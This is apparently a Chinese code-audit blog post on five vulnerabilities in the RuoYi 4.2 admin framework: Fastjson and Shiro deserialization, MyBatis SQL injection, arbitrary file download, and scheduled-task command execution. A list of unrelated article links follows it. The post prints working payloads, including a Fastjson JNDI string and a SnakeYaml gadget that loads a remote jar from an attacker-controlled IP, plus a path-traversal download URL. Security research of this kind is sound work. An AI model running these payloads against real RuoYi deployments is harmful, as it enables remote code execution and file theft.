【代码审计】RuoYi-4.2 五处安全问题分析

目录

Fastjson反序列化

Shiro反序列化

SQL注入

任意文件下载

定时任务命令执行


Fastjson反序列化

看到Fastjson版本号为1.2.60

全局搜.parseObject(

传参方式要注意一下,是对传入的Params先toJSONString,再parseObject

此外要过掉第一个if

GenConstants.TPL_TREE的值为"tree"

则要让genTable.getTplCategory()的值为"tree"

所以要这么设置下

validateEdit在/tool/gen/edit被调用

这个接口一眼顶真,锁定生成代码这部分功能点

先随便导入一个模块,点击编辑

成功抓上包

打入payload:

复制代码
params[@type]=org.apache.shiro.jndi.JndiObjectFactory&params[resourceName]=ldap://8.138.38.81:1338/#suibian

从1.2.25开始fastjson默认禁用autotype,方便起见我们改下代码

复制代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

此外jdk版本要小于8u121,Java 8u121+ 默认禁用了LDAP的远程代码加载

Shiro反序列化

存在shiro组件

依然硬编码密钥

勾选下AES GCM

成功RCE

SQL注入

项目用的是mybatis

全局搜${

后续过程和3.0版本的一致

【代码审计】RuoYi-3.0 三处安全问题分析

任意文件下载

/common/download路由被修了

/common.download/resource未做waf

但StringUtils.substringAfter截取Constants.RESOURCE_PREFIX之后的部分

即截取/profile后的部分

所以要这么构造

复制代码
/common/download/resource?resource=/profile/../../../../../../flag.txt

定时任务命令执行

关注定时任务功能点

本质是打个SPI

之前写过一篇文章:【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

解析yaml用的是snakeyaml

复制代码
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]]]]')
相关推荐
韩师学子--小倪2 小时前
fastjson与gson的toString差异
java·json
Drawing stars2 小时前
JAVA后端 前端 大模型应用 学习路线
java·前端·学习
nbsaas-boot2 小时前
SQL Server 存储过程开发规范(公司内部模板)
java·服务器·数据库
行百里er2 小时前
用 ThreadLocal + Deque 打造一个“线程专属的调用栈” —— Spring Insight 的上下文管理术
java·后端·架构
玄〤2 小时前
黑马点评中 VoucherOrderServiceImpl 实现类中的一人一单实现解析(单机部署)
java·数据库·redis·笔记·后端·mybatis·springboot
J_liaty3 小时前
Spring Boot拦截器与过滤器深度解析
java·spring boot·后端·interceptor·filter
亲爱的非洲野猪3 小时前
Java锁机制八股文
java·开发语言
rgeshfgreh4 小时前
C++字符串处理:STL string终极指南
java·jvm·算法
Zoey的笔记本4 小时前
「支持ISO27001的GTD协作平台」数据生命周期管理方案与加密通信协议
java·前端·数据库
lpfasd1234 小时前
Spring Boot 4.0.1 时变更清单
java·spring boot·后端